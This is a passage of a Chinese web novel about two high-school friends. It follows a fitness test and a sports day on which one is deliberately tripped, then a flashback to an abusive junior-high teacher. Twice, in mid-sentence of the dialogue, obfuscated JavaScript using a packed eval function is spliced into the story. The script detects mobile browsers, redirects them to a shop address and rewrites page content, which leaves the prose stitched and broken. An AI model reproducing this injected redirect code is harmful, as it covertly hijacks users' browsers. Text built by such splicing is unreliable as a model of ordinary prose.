真不巧,学校抽签供出一个年部进行体测,王主任光荣的抽到了这个任务。 还是按照惯例分成三组,一到六班光荣的成为第一梯队,出现在了操场上。 体测这种东西,五十米这一项乔洛就没有及过格。不过很幸运,奉州中考不考五十米,其它各项评分也很宽松,乔洛中考体育是满分。只不过乔洛也并不在乎这点分就是了,毕竟就算体育一分没有,她一样能考上新材。 在乔洛的五十米成绩亮相之前,丁似霰还不太懂乔洛面如死灰的模样。 毕竟五十米只是几秒钟的事情,不至于这么绝望吧? 十一秒七,确实是个……让人很意想不到的成绩。 “好了别说了,我知道没及格,就这样吧。”乔洛直接堵住了丁似霰的嘴。 每个项目有两次测试机会,但乔洛选择直接放弃。 不放弃干什么,等着第二次跑成十二秒继续丢人现眼吗? “别看我热闹了兄弟,你倒不如压压筋争取体前屈别是个位数,”乔洛突然脑子一抽,问了一句自取其辱的话,“你五十米跑了多少啊?” “嗯……六秒五。” “……好了,你可以离开我的视线范围了。” 体前屈测试的热闹还是要比五十米多上很多的。 乔洛和杨可期都轻轻松松推到了二十八点几厘米,这是她俩除了身高体重肺活量以外唯一能满分的项目了。 哇,看着别人龇牙咧嘴地弯腰,某种程度上来讲是会让人暂时忘记马上要跑八百米的烦躁感的。 丁似霰在一旁弯下腰垂着手,企图触碰到地面。 乔洛笑嘻嘻走到他对面,飞快地折下身,手掌撑在他的身侧。 没错,是以对折的姿势弯了下去,然后把手撑在丁似霰左右两侧。 “要不我一会压你一把?” 有不少人选择,让同学从背后助力一下,原则上这当然不允许,但是形式主义的体测只要不当着检察团的面前,就很随意。 “我会……断成两截吗?” “不保……啊!”乔洛抬起头,然后硬硬撞在丁似霰脑袋上。 学术层面来说,是乔洛的顶骨撞到了丁似霰的额骨。 俗话讲,是乔洛的后脑勺磕在丁似霰的脑门上了。 直到丁似霰坐在测体前屈的仪器前,他的脑门还有一个小红印。 乔洛蹲在他旁边,“要不算了,不赢房子不赢地的,个位数也不咋丢人。” “那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908921|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了吧,我确实……怕疼。” 丁似霰深吸一口气,猛的弯腰向前推去。 好大的成果,11.70厘米。 “哇,好巧,跟我的五十米一样出色!”乔洛在一旁鼓着掌,颇为真诚。 这种体测是真的很水,哪怕有领导检查,也只会是走个过场。 耐力跑测试的时候以班级为单位,每个班男女生一起在起点出发,女生两圈,男生两圈半,终点不同而已。 五班本就在四班后面候场,丁似霰更顺理成章在计时器旁边等着乔洛。 乔洛跑完八百米,扶着杨可期走到空地的时候只是面色泛红,但完全看不出来有多累。 丁似霰拿着两瓶水,跟在两个女孩身后。 乔洛找了个阴凉,避开毒辣的日光,一屁股坐在地上。 杨可期也坐了下来,直接靠在她身上。 “以后物理的运动学出题应该用洛洛当质点,”丁似霰拧开矿泉水,递给了两个女孩。 “匀速运动做题多没挑战,年轻人你怎么一点追求都没有?”乔洛很清楚自己的速度,这么多年来她一直稳定发挥。 努力过,但是发现还不如摆烂 五十米十一二秒,二百米五十几秒,四百米两分钟左右,八百米四分钟上下。 好稳定。 虽然不是绝对的匀速运动,但是乔洛很清楚丁似霰想说些什么。 “嘿嘿,我确实毫无追求。” 就像乔洛所说,体测不赢房子不赢地,没必要尽力死命得个好成绩。 丁似霰慢悠悠跑完一千米,没事人一样。 乔洛不禁感叹,“你这样的就应该为运动会鞠躬尽瘁。” “那你呢?” “我给您喝彩。” “那您功劳更高!” “诶,不敢当不敢当。”乔洛本在笑着摆手,却看到一个男生跑过来,找丁似霰。 那人她有印象,也是三班的。 毕竟有那样深刻的交集,很难不多看几眼这个班里的蠢蛋们,文科班本就阴盛阳衰,三班一共只有三个男生,还有一个是后转来的冯鑫。 乔洛虽不知道这人叫什么,但她能认出来这绝对是成天在王琪琪旁边转的那个。 “同学,我们班做仰卧起坐的垫子不够了,帮我们一起去器材室搬些可以吗?” “啊?你们班人呢?”丁似霰一头雾水。 “我班男生少,女生力气小,搬得太费力了。” “好吧……”丁似霰本来是坐在乔洛对面的底下,说罢就要起身。 然后他被乔洛一把抓住,刚刚离地不到十公分的屁股又被拽回地面。 “好个屁,那破垫子我一手能拎两个,他们班人都残废了吗?还得喊你一个刚跑完一千米的人去干活,累傻小子呢?” 乔洛说这话的时候眼睛都没抬一下,看起来就像是单纯地在批评丁似霰这个好说话的行为。 “我又没和你说话,你是不是太多管闲事了?”那男生有些急了。 乔洛转过头问丁似霰,“你说,我强迫你听我话了?” “没,我纯属自愿,”丁似霰换成了盘着腿的坐姿,再也看不出来一点想站起来的欲望。他对那男生说道,“你加油。” 那人计划落空又被乔洛阴阳怪气一通,只得咬着牙走开了。 和丁似霰相处久了才发现,这家伙有什么事就算不愿意做,或者有些失落,也很少真的说出来。 乔洛对于这件事,非常不理解,“你能不能把‘好吧’这两个字,换成不行,明明就不乐意,非得去干什么活。” “就,顺手嘛……” “啊对,你是顺手了,我耽误您学雷锋做好事了呗?” “没没没!”丁似霰连忙否认,“下次一定,拒绝,坚定的拒绝!” 乔洛翻了个大大的白眼,又是个积极认错,坚决不改的。 “算了,这人莫名其妙过来找你,估计和我也有关系,”乔洛长叹一口气,“自己小心着点吧,已经上了我的贼船,推都推不下去。” “我好不容易挤上来的,推什么?我可不下去。” “你这时候倒是坚定上了。” “谨遵洛洛教诲!” “好好好,新材高中油嘴滑舌你就应该排第一。” 30. 第一名 那次周末放假后就是运动会项目报名。 乔洛本想着今年不去报项目了,在主席台读读稿子看看热闹,悠闲地度过运动会那两天,甚是美妙。 没想到天不遂人愿,四班的项目没有报满——今年新增的耐力跑,女生一千五百米,男生两千米,每班各一名,四班目前零人报名。还有跳高缺一个女生,五十米折返跑四人接力赛男生组缺两个人,女生组缺一个人。 石忠询问了很多次,确定没有人填满这个空缺后,立即现场制作了四十个纸条,男女生分别抽签。 既然没人报名,那就抽签吧,抽到什么算什么。 乔洛把抽到的纸条放在手心里,虔诚地祈祷,“这三个项目最好我一个也抽不到,要不然都足够我出洋相了。” 杨可期也是同款动作,“千万要是空白签啊,我记得小学的时候我被老师安上去跳过高,结果我直接撞杆子上把鼻血撞出来了。” 两个女孩小心翼翼打开纸条,有人欢喜有人愁。 “就我这手气,要是刮张刮刮乐都能倒亏五十。”乔洛看着手里写着“一千五米”的字条无语凝噎,“今年怎么就非得加两项耐力跑,八百米都能要了我狗命,这次还一千五百米?” “奔跑吧小洛洛~上周跑八百我可没看出来你哪里累了,”杨可期把自己的空字条在乔洛面前晃了晃,“我会给你加油的。” “无所谓,我会走下来。”乔洛的体育天赋……不算高,除了当初练散打的时候。用她的话来说,这辈子她最擅长的运动可能就只有肠胃运动,“你也知道的,去食堂抢饭我都跑不快,早知道我自己报个八百米好了,那样就不用抽签了。” “没事,溜达溜达就好了,”杨可期凑到乔洛耳边,“到时候把丁似霰的奖牌抢过来拍照,就当是你得的。” “真是个好建议,下次别建议了,”乔洛把头枕在桌子上,两条胳膊自然垂下,一副咸鱼卧倒的样子,“我得男子一千米的奖,我可真厉害。” 这还是乔洛第二次参加跑赛——自从一年级那次一百米得了年级倒数第一之后。上一次成绩倒是不错,但那是初一时参加的智力折返跑,乔洛跑不快,是做题速度比其它参赛的同学快很多…… 上体育课的时候,老师让报了项目的同学自行训练,乔洛坐在操场边缘,眼神迷离。 “呆!你是被哪个妖怪吸了魂?”丁似霰忽的从一旁窜出来,还摆了一个极其抽象的姿势……类似于影视作品里的,施法。 “被一千五百米夺了舍,”乔洛一把拉下丁似霰,让他坐在一旁,“坐下吧你,还让我仰着头跟你说话,胆大包天。” “让你活动活动脖子嘛,”丁似霰挠着头,嘿嘿笑着,“你怎么不去练练?” “练什么?” “跑步啊!” “还有两周就是运动会了,你不会感觉四次体育课,加起来一百六十分钟,能有什么奇迹在我身上发生吧?” “嗯……还有晚饭的时候。” “呵,晚饭的时候,”乔洛干笑了一声,“你或者小白跑圈我可以给你喝彩,但别想让我跑一步。” “那你能跑得下来吗?” “这就是你羡慕不来的了,不是所有人都像你一样柔弱,当初练散打的时候热身都是慢跑半个小时起步,我只是跑不快并且懒,不是跑不久,”乔洛扭过头,看着丁似霰,“再说,我又没说我要跑,走一千五百米也算参赛。” 可惜啊,乔洛是个有些好胜心的人,真的到了赛场上,她便不由自主尽了全力。 直到检录之前,乔洛还压在杨可期身上哭诉,“我不想跑啊啊啊啊啊啊啊啊……” 杨可期像摸小臭白一样摸着乔洛的头,“乖,走几圈就好了。” “加油啊!”丁似霰在一旁经过,高二男子一千米后便是女子一千五百米,他先做好了检录,正要去起点准备。 “加不动,你能不能披个假发替我跑。”乔洛一脸生无可恋,“你为什么不去跑两千米,年年跑一千米一点挑战都没有。” “可能是我比较安于现状不喜欢挑战吧,我要是帮你跑,那可能是要给你得倒数第一了,”丁似霰伸出一个拳头,“祝你好运。” 乔洛张开手,手掌抵在丁似霰拳峰前,“我赢了!” “额……”丁似霰震惊的瞪大眼睛,左边的眉毛挑了一下,“也好,再分你点好运气。” “谢谢您嘞~”乔洛把手指分得更开了些,像猫爪开花一样,“那我的布再大点,你保佑我一会咋也得点什么。” “哈哈哈,好,都分你。” 广播里喊着请高二男子组一千米参赛同学在起点处做好准备。乔洛忙对着丁似霰摆摆手,“快滚,看着你我就想到我比你还要多跑五百米我就闹心。” “喳,老奴这就滚。”丁似霰很开心,也不知道他到底在开心些什么。 “他吃兴奋剂了吧?为什么要跑步了还能这么乐呵?”乔洛很不理解。 “可能是比较爱吧。”杨可期道。 那天天气很好,北方九月末的温度已经有些冷了,再配上明媚但是并不炎热的太阳,若可以在某处晒着太阳坐着闲聊,一定很舒服。 但有些人是要跑步的。 操场一圈四百米,一千五百米要跑将近四圈,从第二圈开始就有人渐渐慢了下来。乔洛边跑边碎碎念。 “这操场咋这么大啊,还跑不完。 丁似霰你个小没良心的,之前让我看你跑步,现在你怎么没影了。 妈妈啊,我晚上得吃点猪蹄补补。 明年随便报点啥,我再也不要跑这个鬼东西了。” 到了第三圈,乔洛还是以原来的速度向前跑,此时她已经是前十名了。 第四圈,乔洛前面只有两个人了。 还有半圈,早死早超生,终点我来了!乔洛迈开腿,加了速。 真正的女武神,用着她跑五十米冲刺的速度奔向一千五百米的终点——虽然这个冲刺状态的变化不太明显。 一百米。 五十米。 二十米。 十米。 等会,怎么有个人窜过来了! “啊!”伴随着一声尖叫,新材高中第一个高二女子组一千五百米冠军诞生了。 冠军滚着过了线。 乔洛被杨可期扶着站起来,踉跄着走到了一旁,她可不想在终点线处被后面冲刺的人再踢一脚屁股。 窜出来的人是高一的男生,他们的娱乐项目少一个人,他正要回班级喊人,横穿操场是最近的路径。 “哥们你是真看不见警戒线啊?”杨可期不忍吐槽,她看着膝盖手肘双双冒血的乔洛,“我带你去洗洗伤口吧?” “等会等会,我这好不容易的第一,我去看看记好没。” “哎呀放心吧,记好啦,就连你滚过线摄像机都记下来了。”杨可期扶着乔洛,“要不要背你?” “不,不用,我没这么脆。” “你也真是厉害,还能滚着过线,摔了就算了,小腿一抬还把终点线勾下来了。” “证明我长大了,现在腿够长。” “对对对,你腿可长了。” 杨可期扶着乔洛,一瘸一拐走去医务室。 “好浓的云南白药味啊。”医务室附近,弥漫着一股云南白药的味道,也不知道哪个倒霉蛋崴了脚。 推开门,乔洛和杨可期就看到,医务室的椅子上坐着正在翘二郎腿的丁似霰。 “好,好巧,”他手里还拿着喷雾,大概是刚刚喷过,“你怎么弄这么惨?” “她 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于是,杨可期和丁似霰皱着眉看完了乔洛用双氧水泡伤口的全过程。 “你不是蚌精,你是石妖,你一点不怕疼吗?” 相比于丁似霰的震惊,杨可期倒是习以为常,毕竟小时候玩闹磕了碰了,乔洛基本都是用水洗洗伤口就继续去玩,只有伤的太严重了才会上了药……之后再像没事人一样玩闹。 “那……你俩在这凉快着吧,我报了娱乐项目快开始了,溜了哈。” “你就忍心把我扔下啊,我俩两个人都凑不出来一条好腿啊!”乔洛很幽怨,“走吧走吧,去赶猪进圈,继承我的基业。” “好嘞,拜拜~”杨可期丢下两个“残疾人士”,扬长而去。 乔洛挽起了那边裤腿,还好今天没有穿校服,这裤子质量好一些,没有破,她这才回复丁似霰的惊叹,“疼啊,不然能咋样,一边吭叽着喊疼一边上药?主要是那样也不会有什么效果。” 丁似霰注意到了乔洛小腿上那块很大的疤,问道,“你这是怎么弄的?” “小时候被畜生咬的。” 显然不是真话,但看起来确实像是一块牙印。 “你还真是多灾多难。” “你还说呢,说好的把好运给我,我就这样了。” 丁似霰指着自己的脚,“我也瘸了,但咱俩还是能凑出来两条好腿的,正好我崴的左脚,你破的右腿。” “你是怎么搞的啊?” “刚起跑,也不知道是谁把我绊了一下,然后就崴了,”丁似霰也很无语,“起跑的时候站得太密了,我也只能自认倒霉。” “你比我更惨哦,”乔洛身子略微向前倾了些,单手托着脸笑眯眯的看着丁似霰,“你猜猜我第几?” “嗯……第一?” “这么信任我?” “滚着过线嘛,只有第一会碰到终点线,毕竟哥们经常体验。” “你……” “太优秀了是吧,这事哥们有经验。” “你不这么自信会怎样?” “会憋死。” 乔洛忽然就很想,猛踹他另一条好腿。 当然下不去脚。 “我要去主席台了,你回去吗?”乔洛站了起来,单手撑着墙,把右腿伸直又卷起,似是让自己提前适应一下走路的感觉。 “回去吧,至少你还能给我当个拐。” “你自己听听,人言否?” 虽然这么说着,但乔洛还是当了这个“拐”。 她走路的时候完全看不出来膝盖是伤着的,反倒像个健全人一样稳稳扶着丁似霰。 走到主席台的时候,丁似霰说他可以自己回班了,这姑娘还执拗地送佛送到西。 31. 贼船 但这次乔洛骗他了,她没有去主席台看稿子,而是跑到了高二年部的摄像大哥旁边。 或许是因为女武神滚着过线太过于让人记忆犹新,摄像大哥一眼就认出了她。 “同学,你不好好休息,怎么还到处乱走呀?” “哥,我想看看录像行嘛,反正现在高二这边也没有需要拍摄的。” 摄像大哥很好说话,一点没犹豫就同意了,“行啊,我给你找找你到终点那段啊!” “不是不是,我想看男生一千米起跑的视频,可以吗?” “这你得找李姐,男生那边是她在负责,”摄像大哥贴心地给乔洛指出不远处那个正在调试摄像机的女孩,“就是她,叫她李姐就行,可好说话了。” “好嘞,谢谢哥!” 说罢,乔洛就快步向李姐那里走去,这该死的膝盖似乎已经疼麻木了,现在完全不影响她行动。 “李姐好!”乔洛甜甜地,脆生生地打了招呼。 “哈哈哈,女武神你好呀!” 坏了,女武神这称号似乎在乔洛用自来水和双氧水涮伤口的时候,大肆传播了。 “李姐,你这个录像我能看看吗?” “嗯?怎么来看我这个,我这里可都是男生的素材,”李姐看起来也不过二十出头的年纪,很是活泼,“难不成我们女武神看上了那个小喽啰?” “啊,不是不是,就有点好奇,”乔洛也没有多做解释,直接说了自己的意图,“我想看看一千米起跑的时候,那个崴脚的人是怎么摔的。” “行,我给你找一下,看看拍没拍到。” 很幸运,李姐拍到了。而且丁似霰站在外圈,那个位置人并不是很密集,镜头里的画面足够清晰到放大看清发生了什么。 乔洛征得李姐同意后,把那一小段视频放大,用自己的手机把摄像机这小小的显示屏录了下来。 现在,该去算账了。 乔洛站在三班的观众席区域下,眯着眼睛找人。属实有点困难,大家坐得都挺乱的。好在,文科班雄性生物是真的很少。 她很快就锁定了目标。 这人叫什么来着?刚才就看了一眼他这次跑第三,好像是姓张,但乔洛一转身就忘记他叫什么了。 乔洛对着这位张姓同学勾勾手指,用口型告诉他,过来。 那人或许是做贼心虚,犹豫几秒后,就走下了观众席,跟着乔洛去了观众席背面人少的地方。 乔洛此时已经重新把头发扎成了一个干净利落的高马尾,裤腿放了下来,不仔细看根本看不出摩擦的痕迹,只有右肘部的伤口还略有些狼狈。 她虽然比那个男生矮了很多,但这次她没有找台阶踩上去,而是选择在平地,直接盯着那个男生。 “你叫什么?”太难受了,不知道这人叫什么,骂都骂不顺口。 那人没想到乔洛开口第一句竟是问他姓名,迟疑了几秒,道:“张振川。” “啊,张振川,”乔洛仰头累了,索性靠在墙上看起来有些懒散,“高二男子组一千米第三名是吧,得奖感觉如何啊?” “你想说什么?”张振川想过乔洛或许是来跟他理论,但没想到乔洛是这种态度。 “你喜欢王琪琪,想替她打抱不平?”乔洛还是没有正面回答他。 “和你有什么关系!”张振川说罢就想转身离开。 乔洛的声音不紧不慢在他身后响起,“我给你个机会,你自己选。” 张振川一瞬间有些害怕,他从未想过乔洛这丫头片子如此瘆人。 他声音微微有些发抖,“选……选什么……” 乔洛打开手机播放器,放出了她刚刚录下的视频。 枪声打响的一瞬间,张振川一脚踩在丁似霰左脚面上,然后并未快速抬起,而是借力把脚向后使劲顶了一下丁似霰的小腿,然后又用肩膀撞了他,接着弹射起步混在人群中,丁似霰因此绊倒。 还好丁似霰站在边缘并且反应快,立刻脱离了人群。 乔洛刚看到这段录像的时候第一次感觉心里一震,丁似霰没和她说过当时具体什么样子,她原以为只是崴了脚。 若是他在人群里摔了呢?呜呜泱泱一堆半大小子,踩踏事故都足够他断几根骨头。 张振川看到后,伸出手要抢乔洛的手机。 乔洛反应迅速,抓住他伸出来的手,然后用反关节擒拿术中最基础的那款,牢牢把他的手背到背后。 “你打不过我,就算打过了,这视频我早就备份了两份发给不同的人,你砸坏我的手机都没有用。” “你,你想让我做什么?” 张振川怂得很快,这让乔洛很震惊,还以为是多张狂个小子。 “第一种,你自己去找体育老师坦白你做了什么,取消获奖资格;第二种,我直接滥用公权用大喇叭公布你做了什么,我的语言叙述能力还不错,保准生动形象,让你全校闻名。” 张振川趁着乔洛说话的时候,以为她手劲会松下来,企图逃出去,却失败了。 乔洛又把他的胳膊向上抬了些,迫使他不得已把腰弯得更低。 “我这人脾气爆,趁着现在还让你有得选,别挑战我忍耐力,”乔洛强忍着想提起膝盖撞他胸腔的冲动,咬着牙和他说话,“不然我不保证会对你做什么。” “你以为你装装可怜你就能欺负琪琪吗!我就不承认,我只是一不小心踩了他!”这人还在负隅顽抗。 “你踩他是无意,那你趁乱踢他小腿又撞他肩膀呢!是不是我现在也可以一不小心把你这条胳膊卸下来我再一不小心撞一下给你安上!” “你……你承认是你自己卸了自己的胳膊,不是琪琪做的,你陷害她!” “怎么她会卸我胳膊,我就不会卸你的?”乔洛松开了张振川,僵持了这么久,她也累了,左右这人现在心里也明白,他打不过她。 乔洛深呼吸了一下,企图平复住自己的情绪,但效果不佳。 “疯狗喜欢蠢猪,你们还真是登对。” 张振川“你!你……”了半天,却说不出个所以然。 “王琪琪,被冯鑫忽悠着来找我茬,结果冯鑫不认账,错全怪在了王琪琪身上,那不就是蠢猪吗? 哦不对,她去测测智商说不定都不如猪,毕竟猪智商还算高的。 冤有头债有主,你追根溯源想替王琪琪打抱不平你去找冯鑫算账。这次我还给你机会自己选,半个小时之内你自己去坦白,我什么都不会做。以后如果再敢骚扰我或者我身边的人,我不介意用更歹毒的办法对付你。” 张振川震惊地看着乔洛,嘴唇颤动着却一个字也没有说。 他们两个如今的位置关系,从有些角度来看就像是张振川把乔洛堵在角落里。 就比如丁似霰找过来时,看到的那个角度。 乔洛一声“滚”字刚刚吐出来,张振川就被丁似霰一把揪住领子推了开。 乔洛意识到丁似霰误会了,连忙拍拍他的胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908923|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊,“是我在训他。” 张振川的衣服领被丁似霰松开后,他就逃也似的跑开了。 这两个人都太恐怖了。 乔洛像赶鸭子一样,轻轻推着丁似霰往回走,“你怎么还出来乱晃,明天脚踝想直接肿成猪蹄是吧?” 丁似霰站住了,一手扶着乔洛的肩膀接着力,然后展示一般动了动脚踝,“真的没什么事,就是有点疼,但还没到动不了的地步。” 小丫头的眼眶还是有些泛红的,呼吸声依旧有点重,仔细看的话还会发现她的手其实有些抖,整个人似乎还没有完全从刚才的状态里脱离出来。 丁似霰从未见过乔洛这个样子,这与上次在烧烤店她有些失控的时候有一点像,但却不完全一样。 她现在更像是生气,很生气,却生生压着怒意。 丁似霰见乔洛没有说话,便弓着身子,脸与乔洛平齐,“多谢女侠帮小的伸张正义,大恩大德永世难忘!” “……对不起。”乔洛的声音中竟些许有点哭腔。 丁似霰迟疑了一下,还是抱住了乔洛。 女孩没有躲开,静静地把头埋在他胸前。她似乎是真的哭了,丁似霰感觉自己的衣服有些湿。 “这有什么可对不起的,他这么对我是因为感觉我对你还挺重要,我还是,蛮喜欢他的这个判断能力。” 他轻轻拍着乔洛的背,说话的声音不大,但乔洛紧贴着他的胸腔,震动传播的感觉倒是真切。 “我以为,离开初中了,那些事就过去了,结果竟然又会找来。他初中用我妈威胁我,现在又来了个报复你,企图在我身边人下手。但我到底哪里做错了……” “没错,哪里都没错,是他们欺负人,而且我们洛洛这么厉害,能把他们治得都服服帖帖的,这不已经都处理好了?” 乔洛不是个会自怨自艾的性子,只不过小姑娘毕竟遭了这么多磨难,一时间情绪有点崩溃。 她抬起脸,随便抹了把泪,“要是他自己去和老师承认的话,只有第四名那个人会知道他被取消成绩了,你这脚崴的不明不白的,你……” “我没事,我一千米第一名的奖状家里好几张,哪里差这一个?” “你……真不会……”乔洛有些犹豫,不可否认,她是怕的。 “不会。”丁似霰回答得很果断,他甚至没有等到乔洛把话说全。 “你知道我要问什么吗?” “我不后悔,是我自己非要死皮赖脸和你做朋友的,再来几个这种家伙我都不后悔,我下回直接踩回去!” 乔洛一下笑了出来,这要是两个人互踩那可有趣了。 “好吧,那你可就真跑不开嘞!” “你不是不让我说‘好吧’,你自己怎么还说?” “你不要乱套公式!我这个和你的能是一个意思吗?” “嘿嘿……” “走,扶你回去,我得赶紧和杨可期说一下,照这么搞她可比你危险,”乔洛扶着丁似霰,向着观众席的方向往回走,“嘶,许志应该没啥风险吧,当时打起来反正也没有他。” “应该吧,没事,一会我和他说一下。” 后来,乔洛回到了主席台,毕竟要汇总得奖情况,明天还有颁奖典礼。 她正好遇见了体育老师来说明情况。 老师说高二男子组一千米第三名成绩取消,第四名顺次提上来,乔洛只是应了一句,并未多说些什么。 但愿吧,这事能到此为止。 32. 往事(结) 所幸,自那以后并没有闲杂人等再次添砖加瓦。 而且在国庆假期结束一周后,乔洛听说了一个好消息。 乔洛其实是很记仇的,只是确实没能力把所有账都平掉。冯鑫是祸源,但乔洛初中的班主任绝对是一个更大的帮凶和主谋。 那女人也姓冯,乔洛都怀疑过她是不是和冯鑫有什么亲戚,所以才为了冯鑫编造出那么多对乔洛恶意揣测的话语。 冯桂如是个不太正常的,除去重度的重男轻女以外,乔洛感觉她还有被迫害妄想症以及极强的掌控欲。 初一的时候,乔洛的班主任并不是她。其实当初乔洛跳级,某些角度来说也是为了避开这人。 没想到,这是真命运捉弄,初一下学期的时候乔洛原来的班主任突发脑出血住了院。 七年一班吃百家饭活了一个月,等到初三中考之后,就不知为何班主任换成了冯桂如。 初一剩下的半个月时间里,乔洛见识到了什么叫暗无天日。 冯桂如说乔洛现在优秀,但女孩子上了初三脑子就不够用了,所以要从现在开始多做题,多努力。 那不能专门只给乔洛开小灶,要一视同仁,所以全班期末的时候每科都多买了一套卷,让乔洛在自习课给同学们讲。 她还说不让学生们和外班的人说,因为怕其他班学习她这种办法。 乔洛拒绝了给同学讲这些额外的作业,她说自己不会,她说她现在脑子就不够用了。 期末考试,乔洛直接考了校榜十七名。要知道,在此之前她从未掉出前三。 那时乔洛还没有完全放下脸面,并不是很舍得直接让自己滚出前五十,所以只有数学少写了两道大题。 暑假,冯桂如要补课。 乔洛没有去,大好的假期花上十五天去补课?那不是纯疯了。 所以乔洛又一次没有给冯桂如面子。 初二开学第一天,冯桂如的数学课,直接从第三章讲起,因为全班假期只有乔洛没有去上课。 既然听不懂,乔洛直接不听了。她索性自己翻着书,一目十行随意地看着教材,偶尔看到哪个感兴趣的题就写两笔,但是她没有答案,所以也不知对错。 快下课的时候,冯桂如突然喊了乔洛的名字。 乔洛抬起头,看到黑板上洋洋洒洒写了两道题。什么鬼画符,一点都看不懂。 冯桂如叫她上前去做。 乔洛之后走上前去,捏着粉笔,很艰难地写了几行证明。 那两道题都是全等三角形证明,乔洛只记得刚才好像看到了什么边相等角相等的,胡乱写完了一道。 她看了看冯桂如的脸色。 啧,不太好,看来被乔洛蒙对了。 冯桂如又让她做下一道。 然后乔洛的解答就被当成了反面教材,是“边边角”。 冯桂如把她晾在讲台上,说了很多风凉话。乔洛听烦了,却也不敢说些什么。 她曾经还是个蛮胆小的孩子,很多事情都只敢忍着,还得多亏冯桂如的磨难,让乔洛释放本性。 还是英语老师进来上课,解救了乔洛。 没错,乔洛不止上课的时候被训,这时间还延长了一节课间,整个班上的人那节课间都坐在原位。 还是那天,下午自习课冯桂如发了一套数学卷说要考。 一整天都在上课,乔洛根本没时间再去看数学书,自然是也不会什么。 八十六分。 冯桂如叫来了云锦书,整个班级的学生做观众,她絮絮叨叨说着乔洛数学有多差。 云锦书一言不发,只是很认真地看着卷纸。 冯桂如拍着云锦书的肩膀,语重心长地说着,“小云啊,你女儿这还需要很努力才能学好数学,她如果再不跟着我的规划学习,她……” “冯姐你看这个地方,乔洛写的应该是对的,”云锦书打断了她,兴冲冲指着乔洛卷纸上最后一道大题第一问,然后又仔细地看了看分值,“这问有五分,得加上,乔洛这不就及格了吗!” 冯桂如大概是从这次开始,认清了告状是没有用的。但乔洛的日子并没有好过起来,而是更加艰难。 初二上学期期末,乔洛的数学直接交了白卷。 冯桂如问她为什么,其他科目每科丢的分数都不到十分,数学交白卷。 乔洛说,她没学全,听不懂课,不会做题。那是她第一次进行言语反驳,却被打了五个手板,是用板凳条抽的,乔洛的手掌肿了足有一个晚上。 她寒假去补课了。 其实乔洛在这个班级曾有一个好友,叫花蕊蕊。那也是个顶好的女孩,无论冯桂如说什么做什么,她还是会和乔洛说话,体育课与她一起结伴。 直到乔洛发现冯桂如会暗戳戳找机会为难花蕊蕊,她才开始企图疏远花蕊蕊。 但小姑娘不吃这套,依旧每天找乔洛说话玩耍。 寒假补课的时候,花蕊蕊被揪住了错处,穿着裙子去上课。 乔洛还记得,那是一条黑色的毛呢裙子,配着蕊蕊的长靴,很漂亮。 但冯桂如说花蕊蕊打扮得花枝招展,不知道在想什么,又是一节课只要想起来就阴阳怪气说一句,还会故意找难的题让花蕊蕊答,乔洛就在旁边飞快写下答案,递到蕊蕊的视线范围里。 从那节课开始,冯桂如的课外补课课堂就变成了固定座位,蕊蕊和乔洛一个在左边,一个在右边。 而且又多加了规定,女生不许穿裙子,不可以把头发扎出花样,不能佩戴饰品,头发发圈都必须是黑色素圈——这点倒是与冯桂如在学校提出的规定一样。 补课的最后一天有个女孩的发圈上多了一个小菠萝的装饰,冯桂如发现后硬生生把发圈扯坏了,那女孩只得披着头发痛哭。 乔洛还有多余的发圈,但她没敢给出去。若是她伸出了援手,怕是这女孩会更惨。 也没有其他人帮那个女孩,不知是不敢还是不愿。 乔洛看着那个女孩在桌子上缩成一小团,还是没有忍住,趁着冯桂如叫她去黑板上写题的机会偷偷向她扔了一个发圈。 冯桂如还是喜欢弄一些超出正常水平范围的题目,企图让乔洛出丑。但乔洛有时候直接站在讲台上说不会,说自己脑子不好使,冯桂如也没了什么乐趣。 一个寒假,艰难又毫无风波地过去了。 初二下学期,冯桂如新增了规定。有体育课的时候,早自习发一套卷纸,写完了才可以去上体育课,但不能用课间时间写。 那天早上,乔洛睡过了头,云锦书直接说她发烧,便请了病假。 乔洛本不想去了,但忽然想到那天有体育课。之前都是她上课的时候偷偷把卷子写完,然后给花蕊蕊抄,今天她不去,怕是蕊蕊一白天的课间都要留在教室里写卷子了。 她在第三节课上到一半的时候跑去了学校。爬上二楼的时候,她似乎就听到了冯桂如骂人的声音。 乔洛犹豫了一下,她不想听冯桂如骂人,刺耳得很。她猫着腰避开了后门的窗户,从门缝里观望着。 就这一眼,她看到了终身难忘的一幕。 冯桂如把花蕊蕊揪出座位,一手拿着卷纸,一手攥成拳,用力怼着花蕊蕊的前胸。 她说一个错题,便怼上一拳,生生从教室最前面把蕊蕊怼到了教室的后墙。 乔洛再顾不得什么犹豫,直接踹开后门翻了四张桌子快跑过去挡在了花蕊蕊面前。 乔洛接了一拳,真的很疼。 冯桂如的声音可以用声嘶力竭来形容。至于她说了什么,乔洛记不大清了。 她只记得花蕊蕊在她身后,流起了鼻血。 很多很多。 止不住地流。 乔洛肩膀后背上的衣服被血染红了一大片。 蕊蕊是被救护车拉走的,乔洛还不够跟着上车的资格。 云锦书带着她翘了课,去了医院。 花蕊蕊得了白血病,急性。 她是不幸的,没有合适的配型,药物效果也并不理想,不到一个月,就恶化得更加严重。 乔洛最后一次见蕊蕊,是在蕊蕊家里。 她没有剃头发,小姑娘很爱漂亮,哪怕治疗的时候已经掉了不少。 